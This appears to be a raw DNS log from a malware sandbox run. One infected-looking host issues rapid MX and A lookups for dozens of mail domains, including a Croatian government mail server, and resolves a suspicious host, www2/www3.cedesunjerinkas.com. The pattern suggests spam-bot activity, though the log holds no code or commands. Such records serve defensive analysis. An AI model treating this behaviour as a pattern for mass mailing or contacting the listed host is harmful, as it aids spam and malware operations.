Jan 7, 2022 15:55:43.721957922 CET	8.8.8.8	192.168.2.3	0xa304	No error (0)	contoso-com.mail.protection.outlook.com		104.47.51.110	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:43.721957922 CET	8.8.8.8	192.168.2.3	0xa304	No error (0)	contoso-com.mail.protection.outlook.com		104.47.57.110	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:43.723223925 CET	8.8.8.8	192.168.2.3	0x6b80	No error (0)	adatum.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:43.723244905 CET	8.8.8.8	192.168.2.3	0x1db8	No error (0)	contoso.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:43.723326921 CET	8.8.8.8	192.168.2.3	0xdcf0	No error (0)	fabrikam.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:43.725042105 CET	8.8.8.8	192.168.2.3	0xef0d	Name error (3)	kywx.com.pt	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:43.741718054 CET	8.8.8.8	192.168.2.3	0xf38c	No error (0)	mail.adatum.com		131.107.88.24	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:43.746107101 CET	8.8.8.8	192.168.2.3	0x69f4	No error (0)	mail.fabrikam.com		131.107.55.31	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:43.753993988 CET	8.8.8.8	192.168.2.3	0xd35b	No error (0)	contoso.es			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:43.753993988 CET	8.8.8.8	192.168.2.3	0xd35b	No error (0)	contoso.es			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:43.753993988 CET	8.8.8.8	192.168.2.3	0xd35b	No error (0)	contoso.es			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:43.753993988 CET	8.8.8.8	192.168.2.3	0xd35b	No error (0)	contoso.es			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:43.753993988 CET	8.8.8.8	192.168.2.3	0xd35b	No error (0)	contoso.es			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:43.773010015 CET	8.8.8.8	192.168.2.3	0x4fc3	No error (0)	alt1.aspmx.l.google.com		142.250.150.26	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:43.801001072 CET	8.8.8.8	192.168.2.3	0x66a6	No error (0)	aspmx4.googlemail.com		142.250.157.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:43.829663992 CET	8.8.8.8	192.168.2.3	0x2b31	No error (0)	aspmx5.googlemail.com		173.194.202.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:43.855803013 CET	8.8.8.8	192.168.2.3	0x205	No error (0)	aspmx.l.google.com		142.250.153.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:43.859636068 CET	8.8.8.8	192.168.2.3	0x4d73	No error (0)	contoso-com.mail.protection.outlook.com		104.47.57.110	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:43.859636068 CET	8.8.8.8	192.168.2.3	0x4d73	No error (0)	contoso-com.mail.protection.outlook.com		104.47.56.110	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:43.884242058 CET	8.8.8.8	192.168.2.3	0x3daf	No error (0)	aspmx2.googlemail.com		142.250.150.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:43.971278906 CET	8.8.8.8	192.168.2.3	0x7d5a	Name error (3)	contoso.mx	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:44.158721924 CET	8.8.8.8	192.168.2.3	0x8292	Name error (3)	x.com.pt	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:44.159307003 CET	8.8.8.8	192.168.2.3	0x13c6	No error (0)	xyz.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:44.159307003 CET	8.8.8.8	192.168.2.3	0x13c6	No error (0)	xyz.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:44.159307003 CET	8.8.8.8	192.168.2.3	0x13c6	No error (0)	xyz.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:44.159307003 CET	8.8.8.8	192.168.2.3	0x13c6	No error (0)	xyz.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:44.159307003 CET	8.8.8.8	192.168.2.3	0x13c6	No error (0)	xyz.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:44.159478903 CET	8.8.8.8	192.168.2.3	0xb809	Name error (3)	contoso.com.pt	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:44.179661989 CET	8.8.8.8	192.168.2.3	0x3259	Name error (3)	kywx.com.pt	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:44.183645010 CET	8.8.8.8	192.168.2.3	0x8cc1	No error (0)	aspmx.l.google.com		142.250.153.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:44.200386047 CET	8.8.8.8	192.168.2.3	0xb782	Name error (3)	fafa.pk	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:44.200894117 CET	8.8.8.8	192.168.2.3	0x3817	Name error (3)	griepp.pl	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:44.201314926 CET	8.8.8.8	192.168.2.3	0xa929	No error (0)	oopp.pl			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:44.202184916 CET	8.8.8.8	192.168.2.3	0xec55	Name error (3)	wewew.pl	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:44.202436924 CET	8.8.8.8	192.168.2.3	0x99ca	Name error (3)	riekk.pl	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:44.206749916 CET	8.8.8.8	192.168.2.3	0x48e8	No error (0)	aspmx2.googlemail.com		142.250.150.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:44.208292007 CET	8.8.8.8	192.168.2.3	0xb70e	Name error (3)	fanfary.pq	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:44.211818933 CET	8.8.8.8	192.168.2.3	0xad15	Name error (3)	lufka.zx	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:44.225682020 CET	8.8.8.8	192.168.2.3	0xc228	Name error (3)	fajrant.qz	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:44.226032972 CET	8.8.8.8	192.168.2.3	0x62a9	No error (0)	contoso.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:44.235857010 CET	8.8.8.8	192.168.2.3	0xa24a	No error (0)	aspmx3.googlemail.com		74.125.200.26	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:44.248986006 CET	8.8.8.8	192.168.2.3	0x164c	No error (0)	oopp.pl		94.152.34.135	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:44.255940914 CET	8.8.8.8	192.168.2.3	0x6dd9	No error (0)	adatum.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:44.256129980 CET	8.8.8.8	192.168.2.3	0x3d9c	No error (0)	fabrikam.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:44.256145954 CET	8.8.8.8	192.168.2.3	0xfb8c	No error (0)	alt1.aspmx.l.google.com		142.250.150.26	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:44.268878937 CET	8.8.8.8	192.168.2.3	0xa07b	Server failure (2)	xara.pl	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:44.276324987 CET	8.8.8.8	192.168.2.3	0x2369	No error (0)	mail.fabrikam.com		131.107.55.31	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:44.277342081 CET	8.8.8.8	192.168.2.3	0x325d	No error (0)	mail.adatum.com		131.107.88.24	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:44.279464006 CET	8.8.8.8	192.168.2.3	0xf695	No error (0)	alt2.aspmx.l.google.com		74.125.200.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:44.283437967 CET	8.8.8.8	192.168.2.3	0x3e6a	No error (0)	contoso.es			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:44.283437967 CET	8.8.8.8	192.168.2.3	0x3e6a	No error (0)	contoso.es			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:44.283437967 CET	8.8.8.8	192.168.2.3	0x3e6a	No error (0)	contoso.es			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:44.283437967 CET	8.8.8.8	192.168.2.3	0x3e6a	No error (0)	contoso.es			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:44.283437967 CET	8.8.8.8	192.168.2.3	0x3e6a	No error (0)	contoso.es			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:44.300415039 CET	8.8.8.8	192.168.2.3	0x6dbe	Name error (3)	contoso.mx	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:44.310467958 CET	8.8.8.8	192.168.2.3	0x5fee	No error (0)	aspmx5.googlemail.com		173.194.202.26	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:44.329634905 CET	8.8.8.8	192.168.2.3	0x2f20	No error (0)	aspmx.l.google.com		142.250.145.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:44.347678900 CET	8.8.8.8	192.168.2.3	0x1576	No error (0)	alt1.aspmx.l.google.com		142.250.150.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:44.376014948 CET	8.8.8.8	192.168.2.3	0x9f9b	No error (0)	aspmx4.googlemail.com		142.250.157.26	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:44.381186962 CET	8.8.8.8	192.168.2.3	0xca0b	No error (0)	contoso-com.mail.protection.outlook.com		104.47.57.110	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:44.381186962 CET	8.8.8.8	192.168.2.3	0xca0b	No error (0)	contoso-com.mail.protection.outlook.com		104.47.56.110	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:44.404020071 CET	8.8.8.8	192.168.2.3	0x4da9	No error (0)	aspmx2.googlemail.com		142.250.150.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:44.582067966 CET	8.8.8.8	192.168.2.3	0x234f	No error (0)	contoso.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:44.601712942 CET	8.8.8.8	192.168.2.3	0x5246	No error (0)	contoso-com.mail.protection.outlook.com		104.47.56.110	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:44.601712942 CET	8.8.8.8	192.168.2.3	0x5246	No error (0)	contoso-com.mail.protection.outlook.com		104.47.57.110	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:44.643749952 CET	8.8.8.8	192.168.2.3	0x3128	No error (0)	litwareinc.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:44.663710117 CET	8.8.8.8	192.168.2.3	0x454b	No error (0)	smtp.litwareinc.com		96.47.154.206	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:45.145473957 CET	8.8.8.8	192.168.2.3	0x10ad	No error (0)	contoso.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:45.165685892 CET	8.8.8.8	192.168.2.3	0xe5c0	No error (0)	contoso-com.mail.protection.outlook.com		104.47.56.110	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:45.165685892 CET	8.8.8.8	192.168.2.3	0xe5c0	No error (0)	contoso-com.mail.protection.outlook.com		104.47.57.110	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:45.487780094 CET	8.8.8.8	192.168.2.3	0x5230	No error (0)	litwareinc.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:45.511801004 CET	8.8.8.8	192.168.2.3	0x6853	No error (0)	smtp.litwareinc.com		96.47.154.206	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:47.682051897 CET	8.8.8.8	192.168.2.3	0x76a9	No error (0)	contoso.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:47.719238043 CET	8.8.8.8	192.168.2.3	0xc634	No error (0)	contoso-com.mail.protection.outlook.com		104.47.56.110	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:47.719238043 CET	8.8.8.8	192.168.2.3	0xc634	No error (0)	contoso-com.mail.protection.outlook.com		104.47.57.110	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:48.283613920 CET	8.8.8.8	192.168.2.3	0x41bf	No error (0)	contoso.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:48.335793972 CET	8.8.8.8	192.168.2.3	0xa03a	No error (0)	contoso-com.mail.protection.outlook.com		104.47.51.110	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:48.335793972 CET	8.8.8.8	192.168.2.3	0xa03a	No error (0)	contoso-com.mail.protection.outlook.com		104.47.57.110	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:49.240540981 CET	8.8.8.8	192.168.2.3	0x26ed	No error (0)	contoso.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:49.260719061 CET	8.8.8.8	192.168.2.3	0x6583	No error (0)	contoso-com.mail.protection.outlook.com		104.47.51.110	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:49.260719061 CET	8.8.8.8	192.168.2.3	0x6583	No error (0)	contoso-com.mail.protection.outlook.com		104.47.57.110	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:51.262212038 CET	8.8.8.8	192.168.2.3	0x476b	No error (0)	www2.cedesunjerinkas.com		193.166.255.171	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:51.738380909 CET	8.8.8.8	192.168.2.3	0xe86a	No error (0)	contoso.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:51.765229940 CET	8.8.8.8	192.168.2.3	0x712b	No error (0)	contoso-com.mail.protection.outlook.com		104.47.51.110	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:51.765229940 CET	8.8.8.8	192.168.2.3	0x712b	No error (0)	contoso-com.mail.protection.outlook.com		104.47.57.110	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:54.583821058 CET	8.8.8.8	192.168.2.3	0x7d59	No error (0)	www2.cedesunjerinkas.com		193.166.255.171	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:00.251760006 CET	8.8.8.8	192.168.2.3	0x42ae	No error (0)	www3.cedesunjerinkas.com		193.166.255.171	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:04.831937075 CET	8.8.8.8	192.168.2.3	0xa213	No error (0)	fabrikam.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:04.834091902 CET	8.8.8.8	192.168.2.3	0x870d	No error (0)	adatum.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:04.849986076 CET	8.8.8.8	192.168.2.3	0x9820	No error (0)	mail.fabrikam.com		131.107.55.31	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:04.881778955 CET	8.8.8.8	192.168.2.3	0x460c	No error (0)	mail.adatum.com		131.107.88.24	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:04.959733009 CET	8.8.8.8	192.168.2.3	0x4505	Name error (3)	negdje.hr	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:04.989948034 CET	8.8.8.8	192.168.2.3	0x263d	Name error (3)	abcdef.hr	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:05.022452116 CET	8.8.8.8	192.168.2.3	0x8ea1	No error (0)	vlada.hr			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:05.022452116 CET	8.8.8.8	192.168.2.3	0x8ea1	No error (0)	vlada.hr			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:05.022452116 CET	8.8.8.8	192.168.2.3	0x8ea1	No error (0)	vlada.hr			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:05.064012051 CET	8.8.8.8	192.168.2.3	0x743a	No error (0)	ma-02.vlada.hr		195.29.173.139	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:05.082818031 CET	8.8.8.8	192.168.2.3	0xdcbf	No error (0)	ma-01.vlada.hr		195.29.173.138	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:05.102839947 CET	8.8.8.8	192.168.2.3	0x94b6	No error (0)	mail.vlada.hr		195.29.173.131	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:05.130654097 CET	8.8.8.8	192.168.2.3	0xb260	Name error (3)	netko.hr	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:05.163512945 CET	8.8.8.8	192.168.2.3	0x633e	Name error (3)	tvrtka.hr	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:05.234745979 CET	8.8.8.8	192.168.2.3	0x52cb	No error (0)	dva.hr			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:05.302022934 CET	8.8.8.8	192.168.2.3	0xb0ee	No error (0)	mail.dva.hr		138.201.223.6	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:05.428072929 CET	8.8.8.8	192.168.2.3	0x6806	No error (0)	fabrikam.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:05.428100109 CET	8.8.8.8	192.168.2.3	0x530b	No error (0)	adatum.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:05.462690115 CET	8.8.8.8	192.168.2.3	0x8074	No error (0)	mail.adatum.com		131.107.88.24	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:05.463215113 CET	8.8.8.8	192.168.2.3	0x8820	No error (0)	mail.fabrikam.com		131.107.55.31	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:05.536072969 CET	8.8.8.8	192.168.2.3	0x90d8	Name error (3)	negdje.hr	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:05.547905922 CET	8.8.8.8	192.168.2.3	0xb482	No error (0)	arb.cz			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:05.567061901 CET	8.8.8.8	192.168.2.3	0x436e	Name error (3)	abcdef.hr	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:05.567986965 CET	8.8.8.8	192.168.2.3	0x6e68	No error (0)	vlada.hr			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:05.567986965 CET	8.8.8.8	192.168.2.3	0x6e68	No error (0)	vlada.hr			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:05.567986965 CET	8.8.8.8	192.168.2.3	0x6e68	No error (0)	vlada.hr			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:05.568526030 CET	8.8.8.8	192.168.2.3	0xcf1d	No error (0)	antispam.hosting-zdarma.cz		130.193.9.47	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:05.588891029 CET	8.8.8.8	192.168.2.3	0xf9af	No error (0)	ma-01.vlada.hr		195.29.173.138	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:05.600266933 CET	8.8.8.8	192.168.2.3	0x836	Name error (3)	netko.hr	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:05.612822056 CET	8.8.8.8	192.168.2.3	0x6d93	No error (0)	ma-02.vlada.hr		195.29.173.139	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:05.631952047 CET	8.8.8.8	192.168.2.3	0x6946	Name error (3)	tvrtka.hr	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:05.633606911 CET	8.8.8.8	192.168.2.3	0x401e	No error (0)	mail.vlada.hr		195.29.173.131	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:05.662211895 CET	8.8.8.8	192.168.2.3	0x138	No error (0)	dva.hr			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:05.703805923 CET	8.8.8.8	192.168.2.3	0x323d	Name error (3)	abcdefg.cz	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:05.730024099 CET	8.8.8.8	192.168.2.3	0x47bc	No error (0)	mail.dva.hr		138.201.223.6	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:05.742513895 CET	8.8.8.8	192.168.2.3	0xadb0	Name error (3)	ektro.cz	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:05.771029949 CET	8.8.8.8	192.168.2.3	0x828e	No error (0)	fb.cz			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:05.771029949 CET	8.8.8.8	192.168.2.3	0x828e	No error (0)	fb.cz			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:05.771029949 CET	8.8.8.8	192.168.2.3	0x828e	No error (0)	fb.cz			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:05.771029949 CET	8.8.8.8	192.168.2.3	0x828e	No error (0)	fb.cz			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:05.771029949 CET	8.8.8.8	192.168.2.3	0x828e	No error (0)	fb.cz			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:05.792764902 CET	8.8.8.8	192.168.2.3	0x83a7	No error (0)	aspmx2.googlemail.com		142.250.150.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:05.823280096 CET	8.8.8.8	192.168.2.3	0x582a	No error (0)	aspmx3.googlemail.com		74.125.200.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:05.844032049 CET	8.8.8.8	192.168.2.3	0x61e0	No error (0)	alt1.aspmx.l.google.com		142.250.150.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:05.866132021 CET	8.8.8.8	192.168.2.3	0x832	No error (0)	aspmx.l.google.com		108.177.119.26	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:05.897600889 CET	8.8.8.8	192.168.2.3	0xd608	No error (0)	alt2.aspmx.l.google.com		74.125.200.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:05.927701950 CET	8.8.8.8	192.168.2.3	0xd957	Name error (3)	tek-astore.cz	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:05.958755016 CET	8.8.8.8	192.168.2.3	0xf548	Name error (3)	somemail.ro	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:05.993356943 CET	8.8.8.8	192.168.2.3	0x4555	No error (0)	abc.org			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:05.993356943 CET	8.8.8.8	192.168.2.3	0x4555	No error (0)	abc.org			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:06.013967037 CET	8.8.8.8	192.168.2.3	0x6443	No error (0)	cluster10.us.messagelabs.com		67.219.247.199	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:06.013967037 CET	8.8.8.8	192.168.2.3	0x6443	No error (0)	cluster10.us.messagelabs.com		67.219.250.209	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:06.013967037 CET	8.8.8.8	192.168.2.3	0x6443	No error (0)	cluster10.us.messagelabs.com		67.219.246.220	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:06.039014101 CET	8.8.8.8	192.168.2.3	0xb7c7	No error (0)	cluster10a.us.messagelabs.com		54.83.87.114	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:06.039014101 CET	8.8.8.8	192.168.2.3	0xb7c7	No error (0)	cluster10a.us.messagelabs.com		34.225.49.16	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:06.039014101 CET	8.8.8.8	192.168.2.3	0xb7c7	No error (0)	cluster10a.us.messagelabs.com		44.198.115.56	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:06.237965107 CET	8.8.8.8	192.168.2.3	0x4904	No error (0)	arb.cz			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:06.268913031 CET	8.8.8.8	192.168.2.3	0xaafd	No error (0)	antispam.hosting-zdarma.cz		130.193.9.47	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:06.379004955 CET	8.8.8.8	192.168.2.3	0xa9cd	Name error (3)	abcdefg.cz	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:06.412797928 CET	8.8.8.8	192.168.2.3	0x23a6	Name error (3)	ektro.cz	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:06.441579103 CET	8.8.8.8	192.168.2.3	0x989	No error (0)	fb.cz			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:06.441579103 CET	8.8.8.8	192.168.2.3	0x989	No error (0)	fb.cz			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:06.441579103 CET	8.8.8.8	192.168.2.3	0x989	No error (0)	fb.cz			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:06.441579103 CET	8.8.8.8	192.168.2.3	0x989	No error (0)	fb.cz			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:06.441579103 CET	8.8.8.8	192.168.2.3	0x989	No error (0)	fb.cz			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:06.477184057 CET	8.8.8.8	192.168.2.3	0xc55	No error (0)	aspmx3.googlemail.com		74.125.200.26	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:06.497744083 CET	8.8.8.8	192.168.2.3	0xda2c	No error (0)	alt2.aspmx.l.google.com		74.125.200.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:06.519015074 CET	8.8.8.8	192.168.2.3	0x63cd	No error (0)	alt1.aspmx.l.google.com		142.250.150.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:06.540210962 CET	8.8.8.8	192.168.2.3	0x3ec2	No error (0)	aspmx2.googlemail.com		142.250.150.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:06.560888052 CET	8.8.8.8	192.168.2.3	0x46	No error (0)	aspmx.l.google.com		142.250.153.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:06.631439924 CET	8.8.8.8	192.168.2.3	0x3225	Name error (3)	emaiserver.ro	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:06.694783926 CET	8.8.8.8	192.168.2.3	0xeb87	Name error (3)	worldwideoffices.ro	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:06.725219965 CET	8.8.8.8	192.168.2.3	0x1b84	No error (0)	cineva.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:06.740380049 CET	8.8.8.8	192.168.2.3	0xb757	Name error (3)	tek-astore.cz	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:06.744317055 CET	8.8.8.8	192.168.2.3	0x70d4	No error (0)	mail.h-email.net		18.237.235.220	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:06.744317055 CET	8.8.8.8	192.168.2.3	0x70d4	No error (0)	mail.h-email.net		52.34.199.44	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:06.744317055 CET	8.8.8.8	192.168.2.3	0x70d4	No error (0)	mail.h-email.net		34.212.139.205	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:06.744317055 CET	8.8.8.8	192.168.2.3	0x70d4	No error (0)	mail.h-email.net		54.200.93.251	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:06.744317055 CET	8.8.8.8	192.168.2.3	0x70d4	No error (0)	mail.h-email.net		34.212.36.67	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:06.744317055 CET	8.8.8.8	192.168.2.3	0x70d4	No error (0)	mail.h-email.net		34.220.245.67	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:06.744317055 CET	8.8.8.8	192.168.2.3	0x70d4	No error (0)	mail.h-email.net		54.190.26.211	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:06.744317055 CET	8.8.8.8	192.168.2.3	0x70d4	No error (0)	mail.h-email.net		18.237.204.6	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:06.744317055 CET	8.8.8.8	192.168.2.3	0x70d4	No error (0)	mail.h-email.net		34.223.6.127	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:06.744317055 CET	8.8.8.8	192.168.2.3	0x70d4	No error (0)	mail.h-email.net		54.244.49.115	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:06.772305965 CET	8.8.8.8	192.168.2.3	0xcd9b	Name error (3)	somemail.ro	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:06.807949066 CET	8.8.8.8	192.168.2.3	0x693a	No error (0)	abc.org			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:06.807949066 CET	8.8.8.8	192.168.2.3	0x693a	No error (0)	abc.org			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:06.828706026 CET	8.8.8.8	192.168.2.3	0x3c68	No error (0)	cluster10.us.messagelabs.com		67.219.247.199	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:06.828706026 CET	8.8.8.8	192.168.2.3	0x3c68	No error (0)	cluster10.us.messagelabs.com		67.219.250.209	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:06.828706026 CET	8.8.8.8	192.168.2.3	0x3c68	No error (0)	cluster10.us.messagelabs.com		67.219.246.220	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:06.864612103 CET	8.8.8.8	192.168.2.3	0x349a	No error (0)	cluster10a.us.messagelabs.com		44.198.115.56	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:06.864612103 CET	8.8.8.8	192.168.2.3	0x349a	No error (0)	cluster10a.us.messagelabs.com		34.225.49.16	A (IP address)	IN (0x0001)
